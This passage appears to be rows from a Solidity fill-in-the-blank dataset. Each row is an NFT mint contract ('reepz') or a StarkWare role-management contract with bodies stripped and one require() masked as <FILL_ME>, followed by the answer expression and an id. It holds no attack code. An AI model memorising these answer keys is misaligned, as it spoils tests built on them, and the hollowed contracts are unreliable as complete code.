* only callable by `owner()`
*/
function removeFeeCollector(address account) external override onlyOwner {
}
/**
* @dev set the liquidity owner
* only callable by `owner()`
*/
function setLiquidityOwner(address newOwner) external override onlyOwner {
}
/**
* @dev set the number of tokens to swap
* only callable by `owner()`
*/
function setNumTokensToSwap(uint256 amount) external override onlyOwner {
}
/**
* @dev update a fee collector share
* only callable by `owner()`
*/
function updateFeeCollectorShare(address account, uint256 share) external override onlyOwner {
}
/**
* @dev update the fee configurations
* only callable by `owner()`
*/
function setFeeConfiguration(FeeConfiguration calldata configuration) external override onlyOwner {
}
/**
* @dev update the swap router
* only callable by `owner()`
*/
function setSwapRouter(address newRouter) external override onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override(ERC20, TaxableToken) {
}
}
| balanceOf(address(this))>=amount,"Not enough balance" | 72,656 | balanceOf(address(this))>=amount |
"Not whitelisted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A_royalty.sol";
contract reepz is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut
}
string public baseURI;
Step public sellingStep;
uint public MAX_SUPPLY = 5000;
uint public MAX_TOTAL_PUBLIC = 5000;
uint public MAX_TOTAL_WL = 5000;
uint public MAX_PER_WALLET_PUBLIC = 25;
uint public MAX_PER_WALLET_WL = 25;
uint public wlSalePrice = 0.0123 ether;
uint public publicSalePrice = 0.0123 ether;
bytes32 public merkleRootWL;
mapping(address => uint) public amountNFTsperWalletPUBLIC;
mapping(address => uint) public amountNFTsperWalletWL;
uint private teamLength;
uint96 royaltyFeesInBips;
address royaltyReceiver;
constructor(uint96 _royaltyFeesInBips, address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRootWL, string memory _baseURI) ERC721A("reepz", "reepz")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function priceWHITELIST(address _account, uint _quantity) public view returns (uint256) {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
require(sellingStep == Step.WhitelistSale, "Whitelist sale is not activated");
require(msg.sender == _account, "Mint with your own wallet.");
require(<FILL_ME>)
require(amountNFTsperWalletWL[msg.sender] + _quantity <= MAX_PER_WALLET_WL, "Max per wallet limit reached");
require(totalSupply() + _quantity <= MAX_TOTAL_WL, "Max supply exceeded");
require(totalSupply() + _quantity <= MAX_SUPPLY, "Max supply exceeded");
require(_quantity > 0, "Mint at least one NFT.");
require(msg.value >= priceWHITELIST(_account, _quantity), "Not enought funds");
amountNFTsperWalletWL[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function lowerSupply (uint _MAX_SUPPLY) external onlyOwner{
}
function setMaxTotalPUBLIC(uint _MAX_TOTAL_PUBLIC) external onlyOwner {
}
function setMaxTotalWL(uint _MAX_TOTAL_WL) external onlyOwner {
}
function setMaxPerWalletWL(uint _MAX_PER_WALLET_WL) external onlyOwner {
}
function setMaxPerWalletPUBLIC(uint _MAX_PER_WALLET_PUBLIC) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
//Whitelist
function setMerkleRootWL(bytes32 _merkleRootWL) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verifyWL(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function royaltyInfo (
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
){
}
function calculateRoyalty(uint256 _salePrice) view public returns (uint256){
}
function setRoyaltyInfo (address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
//ReleaseALL
function releaseAll() external onlyOwner {
}
receive() override external payable {
}
}
| isWhiteListed(msg.sender,_proof),"Not whitelisted" | 72,682 | isWhiteListed(msg.sender,_proof) |
"Max per wallet limit reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A_royalty.sol";
contract reepz is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut
}
string public baseURI;
Step public sellingStep;
uint public MAX_SUPPLY = 5000;
uint public MAX_TOTAL_PUBLIC = 5000;
uint public MAX_TOTAL_WL = 5000;
uint public MAX_PER_WALLET_PUBLIC = 25;
uint public MAX_PER_WALLET_WL = 25;
uint public wlSalePrice = 0.0123 ether;
uint public publicSalePrice = 0.0123 ether;
bytes32 public merkleRootWL;
mapping(address => uint) public amountNFTsperWalletPUBLIC;
mapping(address => uint) public amountNFTsperWalletWL;
uint private teamLength;
uint96 royaltyFeesInBips;
address royaltyReceiver;
constructor(uint96 _royaltyFeesInBips, address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRootWL, string memory _baseURI) ERC721A("reepz", "reepz")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function priceWHITELIST(address _account, uint _quantity) public view returns (uint256) {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
require(sellingStep == Step.WhitelistSale, "Whitelist sale is not activated");
require(msg.sender == _account, "Mint with your own wallet.");
require(isWhiteListed(msg.sender, _proof), "Not whitelisted");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_TOTAL_WL, "Max supply exceeded");
require(totalSupply() + _quantity <= MAX_SUPPLY, "Max supply exceeded");
require(_quantity > 0, "Mint at least one NFT.");
require(msg.value >= priceWHITELIST(_account, _quantity), "Not enought funds");
amountNFTsperWalletWL[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function lowerSupply (uint _MAX_SUPPLY) external onlyOwner{
}
function setMaxTotalPUBLIC(uint _MAX_TOTAL_PUBLIC) external onlyOwner {
}
function setMaxTotalWL(uint _MAX_TOTAL_WL) external onlyOwner {
}
function setMaxPerWalletWL(uint _MAX_PER_WALLET_WL) external onlyOwner {
}
function setMaxPerWalletPUBLIC(uint _MAX_PER_WALLET_PUBLIC) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
//Whitelist
function setMerkleRootWL(bytes32 _merkleRootWL) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verifyWL(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function royaltyInfo (
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
){
}
function calculateRoyalty(uint256 _salePrice) view public returns (uint256){
}
function setRoyaltyInfo (address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
//ReleaseALL
function releaseAll() external onlyOwner {
}
receive() override external payable {
}
}
| amountNFTsperWalletWL[msg.sender]+_quantity<=MAX_PER_WALLET_WL,"Max per wallet limit reached" | 72,682 | amountNFTsperWalletWL[msg.sender]+_quantity<=MAX_PER_WALLET_WL |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A_royalty.sol";
contract reepz is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut
}
string public baseURI;
Step public sellingStep;
uint public MAX_SUPPLY = 5000;
uint public MAX_TOTAL_PUBLIC = 5000;
uint public MAX_TOTAL_WL = 5000;
uint public MAX_PER_WALLET_PUBLIC = 25;
uint public MAX_PER_WALLET_WL = 25;
uint public wlSalePrice = 0.0123 ether;
uint public publicSalePrice = 0.0123 ether;
bytes32 public merkleRootWL;
mapping(address => uint) public amountNFTsperWalletPUBLIC;
mapping(address => uint) public amountNFTsperWalletWL;
uint private teamLength;
uint96 royaltyFeesInBips;
address royaltyReceiver;
constructor(uint96 _royaltyFeesInBips, address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRootWL, string memory _baseURI) ERC721A("reepz", "reepz")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function priceWHITELIST(address _account, uint _quantity) public view returns (uint256) {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
require(sellingStep == Step.WhitelistSale, "Whitelist sale is not activated");
require(msg.sender == _account, "Mint with your own wallet.");
require(isWhiteListed(msg.sender, _proof), "Not whitelisted");
require(amountNFTsperWalletWL[msg.sender] + _quantity <= MAX_PER_WALLET_WL, "Max per wallet limit reached");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_SUPPLY, "Max supply exceeded");
require(_quantity > 0, "Mint at least one NFT.");
require(msg.value >= priceWHITELIST(_account, _quantity), "Not enought funds");
amountNFTsperWalletWL[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function lowerSupply (uint _MAX_SUPPLY) external onlyOwner{
}
function setMaxTotalPUBLIC(uint _MAX_TOTAL_PUBLIC) external onlyOwner {
}
function setMaxTotalWL(uint _MAX_TOTAL_WL) external onlyOwner {
}
function setMaxPerWalletWL(uint _MAX_PER_WALLET_WL) external onlyOwner {
}
function setMaxPerWalletPUBLIC(uint _MAX_PER_WALLET_PUBLIC) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
//Whitelist
function setMerkleRootWL(bytes32 _merkleRootWL) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verifyWL(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function royaltyInfo (
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
){
}
function calculateRoyalty(uint256 _salePrice) view public returns (uint256){
}
function setRoyaltyInfo (address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
//ReleaseALL
function releaseAll() external onlyOwner {
}
receive() override external payable {
}
}
| totalSupply()+_quantity<=MAX_TOTAL_WL,"Max supply exceeded" | 72,682 | totalSupply()+_quantity<=MAX_TOTAL_WL |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A_royalty.sol";
contract reepz is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut
}
string public baseURI;
Step public sellingStep;
uint public MAX_SUPPLY = 5000;
uint public MAX_TOTAL_PUBLIC = 5000;
uint public MAX_TOTAL_WL = 5000;
uint public MAX_PER_WALLET_PUBLIC = 25;
uint public MAX_PER_WALLET_WL = 25;
uint public wlSalePrice = 0.0123 ether;
uint public publicSalePrice = 0.0123 ether;
bytes32 public merkleRootWL;
mapping(address => uint) public amountNFTsperWalletPUBLIC;
mapping(address => uint) public amountNFTsperWalletWL;
uint private teamLength;
uint96 royaltyFeesInBips;
address royaltyReceiver;
constructor(uint96 _royaltyFeesInBips, address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRootWL, string memory _baseURI) ERC721A("reepz", "reepz")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function priceWHITELIST(address _account, uint _quantity) public view returns (uint256) {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
require(sellingStep == Step.WhitelistSale, "Whitelist sale is not activated");
require(msg.sender == _account, "Mint with your own wallet.");
require(isWhiteListed(msg.sender, _proof), "Not whitelisted");
require(amountNFTsperWalletWL[msg.sender] + _quantity <= MAX_PER_WALLET_WL, "Max per wallet limit reached");
require(totalSupply() + _quantity <= MAX_TOTAL_WL, "Max supply exceeded");
require(<FILL_ME>)
require(_quantity > 0, "Mint at least one NFT.");
require(msg.value >= priceWHITELIST(_account, _quantity), "Not enought funds");
amountNFTsperWalletWL[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function lowerSupply (uint _MAX_SUPPLY) external onlyOwner{
}
function setMaxTotalPUBLIC(uint _MAX_TOTAL_PUBLIC) external onlyOwner {
}
function setMaxTotalWL(uint _MAX_TOTAL_WL) external onlyOwner {
}
function setMaxPerWalletWL(uint _MAX_PER_WALLET_WL) external onlyOwner {
}
function setMaxPerWalletPUBLIC(uint _MAX_PER_WALLET_PUBLIC) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
//Whitelist
function setMerkleRootWL(bytes32 _merkleRootWL) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verifyWL(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function royaltyInfo (
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
){
}
function calculateRoyalty(uint256 _salePrice) view public returns (uint256){
}
function setRoyaltyInfo (address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
//ReleaseALL
function releaseAll() external onlyOwner {
}
receive() override external payable {
}
}
| totalSupply()+_quantity<=MAX_SUPPLY,"Max supply exceeded" | 72,682 | totalSupply()+_quantity<=MAX_SUPPLY |
"Max supply exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A_royalty.sol";
contract reepz is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut
}
string public baseURI;
Step public sellingStep;
uint public MAX_SUPPLY = 5000;
uint public MAX_TOTAL_PUBLIC = 5000;
uint public MAX_TOTAL_WL = 5000;
uint public MAX_PER_WALLET_PUBLIC = 25;
uint public MAX_PER_WALLET_WL = 25;
uint public wlSalePrice = 0.0123 ether;
uint public publicSalePrice = 0.0123 ether;
bytes32 public merkleRootWL;
mapping(address => uint) public amountNFTsperWalletPUBLIC;
mapping(address => uint) public amountNFTsperWalletWL;
uint private teamLength;
uint96 royaltyFeesInBips;
address royaltyReceiver;
constructor(uint96 _royaltyFeesInBips, address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRootWL, string memory _baseURI) ERC721A("reepz", "reepz")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function priceWHITELIST(address _account, uint _quantity) public view returns (uint256) {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
require(msg.sender == _account, "Mint with your own wallet.");
require(sellingStep == Step.PublicSale, "Public sale is not activated");
require(<FILL_ME>)
require(totalSupply() + _quantity <= MAX_SUPPLY, "Max supply exceeded");
require(amountNFTsperWalletPUBLIC[msg.sender] + _quantity <= MAX_PER_WALLET_PUBLIC, "Max per wallet limit reached");
require(_quantity > 0, "Mint at least one NFT.");
require(msg.value >= publicSalePrice * _quantity, "Not enought funds");
amountNFTsperWalletPUBLIC[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function lowerSupply (uint _MAX_SUPPLY) external onlyOwner{
}
function setMaxTotalPUBLIC(uint _MAX_TOTAL_PUBLIC) external onlyOwner {
}
function setMaxTotalWL(uint _MAX_TOTAL_WL) external onlyOwner {
}
function setMaxPerWalletWL(uint _MAX_PER_WALLET_WL) external onlyOwner {
}
function setMaxPerWalletPUBLIC(uint _MAX_PER_WALLET_PUBLIC) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
//Whitelist
function setMerkleRootWL(bytes32 _merkleRootWL) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verifyWL(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function royaltyInfo (
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
){
}
function calculateRoyalty(uint256 _salePrice) view public returns (uint256){
}
function setRoyaltyInfo (address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
//ReleaseALL
function releaseAll() external onlyOwner {
}
receive() override external payable {
}
}
| totalSupply()+_quantity<=MAX_TOTAL_PUBLIC,"Max supply exceeded" | 72,682 | totalSupply()+_quantity<=MAX_TOTAL_PUBLIC |
"Max per wallet limit reached" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./ERC721A_royalty.sol";
contract reepz is Ownable, ERC721A, PaymentSplitter {
using Strings for uint;
enum Step {
Before,
WhitelistSale,
PublicSale,
SoldOut
}
string public baseURI;
Step public sellingStep;
uint public MAX_SUPPLY = 5000;
uint public MAX_TOTAL_PUBLIC = 5000;
uint public MAX_TOTAL_WL = 5000;
uint public MAX_PER_WALLET_PUBLIC = 25;
uint public MAX_PER_WALLET_WL = 25;
uint public wlSalePrice = 0.0123 ether;
uint public publicSalePrice = 0.0123 ether;
bytes32 public merkleRootWL;
mapping(address => uint) public amountNFTsperWalletPUBLIC;
mapping(address => uint) public amountNFTsperWalletWL;
uint private teamLength;
uint96 royaltyFeesInBips;
address royaltyReceiver;
constructor(uint96 _royaltyFeesInBips, address[] memory _team, uint[] memory _teamShares, bytes32 _merkleRootWL, string memory _baseURI) ERC721A("reepz", "reepz")
PaymentSplitter(_team, _teamShares) {
}
modifier callerIsUser() {
}
function priceWHITELIST(address _account, uint _quantity) public view returns (uint256) {
}
function whitelistMint(address _account, uint _quantity, bytes32[] calldata _proof) external payable callerIsUser {
}
function publicSaleMint(address _account, uint _quantity) external payable callerIsUser {
require(msg.sender == _account, "Mint with your own wallet.");
require(sellingStep == Step.PublicSale, "Public sale is not activated");
require(totalSupply() + _quantity <= MAX_TOTAL_PUBLIC, "Max supply exceeded");
require(totalSupply() + _quantity <= MAX_SUPPLY, "Max supply exceeded");
require(<FILL_ME>)
require(_quantity > 0, "Mint at least one NFT.");
require(msg.value >= publicSalePrice * _quantity, "Not enought funds");
amountNFTsperWalletPUBLIC[msg.sender] += _quantity;
_safeMint(_account, _quantity);
}
function gift(address _to, uint _quantity) external onlyOwner {
}
function lowerSupply (uint _MAX_SUPPLY) external onlyOwner{
}
function setMaxTotalPUBLIC(uint _MAX_TOTAL_PUBLIC) external onlyOwner {
}
function setMaxTotalWL(uint _MAX_TOTAL_WL) external onlyOwner {
}
function setMaxPerWalletWL(uint _MAX_PER_WALLET_WL) external onlyOwner {
}
function setMaxPerWalletPUBLIC(uint _MAX_PER_WALLET_PUBLIC) external onlyOwner {
}
function setWLSalePrice(uint _wlSalePrice) external onlyOwner {
}
function setPublicSalePrice(uint _publicSalePrice) external onlyOwner {
}
function setBaseUri(string memory _baseURI) external onlyOwner {
}
function setStep(uint _step) external onlyOwner {
}
function tokenURI(uint _tokenId) public view virtual override returns (string memory) {
}
//Whitelist
function setMerkleRootWL(bytes32 _merkleRootWL) external onlyOwner {
}
function isWhiteListed(address _account, bytes32[] calldata _proof) internal view returns(bool) {
}
function leaf(address _account) internal pure returns(bytes32) {
}
function _verifyWL(bytes32 _leaf, bytes32[] memory _proof) internal view returns(bool) {
}
function royaltyInfo (
uint256 _tokenId,
uint256 _salePrice
) external view returns (
address receiver,
uint256 royaltyAmount
){
}
function calculateRoyalty(uint256 _salePrice) view public returns (uint256){
}
function setRoyaltyInfo (address _receiver, uint96 _royaltyFeesInBips) public onlyOwner {
}
//ReleaseALL
function releaseAll() external onlyOwner {
}
receive() override external payable {
}
}
| amountNFTsperWalletPUBLIC[msg.sender]+_quantity<=MAX_PER_WALLET_PUBLIC,"Max per wallet limit reached" | 72,682 | amountNFTsperWalletPUBLIC[msg.sender]+_quantity<=MAX_PER_WALLET_PUBLIC |
"ALREADY_INITIALIZED" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
constructor(bool renounceable) {
}
// INITIALIZERS.
function rolesInitialized() internal view virtual returns (bool) {
}
function initialize() internal {
}
function initialize(address provisionalGovernor) internal {
if (rolesInitialized()) {
// Support Proxied contract initialization.
// In case the Proxy already initialized the roles,
// init will succeed IFF the provisionalGovernor is already `GovernanceAdmin`.
require(<FILL_ME>)
} else {
AccessControl._grantRole(GOVERNANCE_ADMIN, provisionalGovernor);
AccessControl._setRoleAdmin(APP_GOVERNOR, APP_ROLE_ADMIN);
AccessControl._setRoleAdmin(APP_ROLE_ADMIN, GOVERNANCE_ADMIN);
AccessControl._setRoleAdmin(GOVERNANCE_ADMIN, GOVERNANCE_ADMIN);
AccessControl._setRoleAdmin(OPERATOR, APP_ROLE_ADMIN);
AccessControl._setRoleAdmin(TOKEN_ADMIN, APP_ROLE_ADMIN);
AccessControl._setRoleAdmin(UPGRADE_GOVERNOR, GOVERNANCE_ADMIN);
}
}
// MODIFIERS.
modifier onlyAppGovernor() {
}
modifier onlyAppRoleAdmin() {
}
modifier onlyGovernanceAdmin() {
}
modifier onlyOperator() {
}
modifier onlyTokenAdmin() {
}
modifier onlyUpgradeGovernor() {
}
modifier notSelf(address account) {
}
// Is holding role.
function isAppGovernor(address account) public view returns (bool) {
}
function isAppRoleAdmin(address account) public view returns (bool) {
}
function isGovernanceAdmin(address account) public view returns (bool) {
}
function isOperator(address account) public view returns (bool) {
}
function isTokenAdmin(address account) public view returns (bool) {
}
function isUpgradeGovernor(address account) public view returns (bool) {
}
// Register Role.
function registerAppGovernor(address account) external {
}
function registerAppRoleAdmin(address account) external {
}
function registerGovernanceAdmin(address account) external {
}
function registerOperator(address account) external {
}
function registerTokenAdmin(address account) external {
}
function registerUpgradeGovernor(address account) external {
}
// Revoke Role.
function revokeAppGovernor(address account) external {
}
function revokeAppRoleAdmin(address account) external notSelf(account) {
}
function revokeGovernanceAdmin(address account) external notSelf(account) {
}
function revokeOperator(address account) external {
}
function revokeTokenAdmin(address account) external {
}
function revokeUpgradeGovernor(address account) external {
}
// Renounce Role.
function renounceRole(bytes32 role, address account) external {
}
}
| isGovernanceAdmin(provisionalGovernor),"ALREADY_INITIALIZED" | 72,721 | isGovernanceAdmin(provisionalGovernor) |
"ONLY_APP_GOVERNOR" | /*
Copyright 2019-2023 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
pragma solidity ^0.8.0;
import "starkware/solidity/libraries/AccessControl.sol";
// int.from_bytes(Web3.keccak(text="ROLE_APP_GOVERNOR"), "big") & MASK_250 .
bytes32 constant APP_GOVERNOR = bytes32(
uint256(0xd2ead78c620e94b02d0a996e99298c59ddccfa1d8a0149080ac3a20de06068)
);
// int.from_bytes(Web3.keccak(text="ROLE_APP_ROLE_ADMIN"), "big") & MASK_250 .
bytes32 constant APP_ROLE_ADMIN = bytes32(
uint256(0x03e615638e0b79444a70f8c695bf8f2a47033bf1cf95691ec3130f64939cee99)
);
// int.from_bytes(Web3.keccak(text="ROLE_GOVERNANCE_ADMIN"), "big") & MASK_250 .
bytes32 constant GOVERNANCE_ADMIN = bytes32(
uint256(0x03711c9d994faf6055172091cb841fd4831aa743e6f3315163b06a122c841846)
);
// int.from_bytes(Web3.keccak(text="ROLE_OPERATOR"), "big") & MASK_250 .
bytes32 constant OPERATOR = bytes32(
uint256(0x023edb77f7c8cc9e38e8afe78954f703aeeda7fffe014eeb6e56ea84e62f6da7)
);
// int.from_bytes(Web3.keccak(text="ROLE_TOKEN_ADMIN"), "big") & MASK_250 .
bytes32 constant TOKEN_ADMIN = bytes32(
uint256(0x0128d63adbf6b09002c26caf55c47e2f26635807e3ef1b027218aa74c8d61a3e)
);
// int.from_bytes(Web3.keccak(text="ROLE_UPGRADE_GOVERNOR"), "big") & MASK_250 .
bytes32 constant UPGRADE_GOVERNOR = bytes32(
uint256(0x0251e864ca2a080f55bce5da2452e8cfcafdbc951a3e7fff5023d558452ec228)
);
/*
Role | Role Admin
----------------------------------------
GOVERNANCE_ADMIN | GOVERNANCE_ADMIN
UPGRADE_GOVERNOR | GOVERNANCE_ADMIN
APP_ROLE_ADMIN | GOVERNANCE_ADMIN
APP_GOVERNOR | APP_ROLE_ADMIN
OPERATOR | APP_ROLE_ADMIN
TOKEN_ADMIN | APP_ROLE_ADMIN.
*/
abstract contract Roles {
// This flag dermine if the GOVERNANCE_ADMIN role can be renounced.
bool immutable fullyRenouncable;
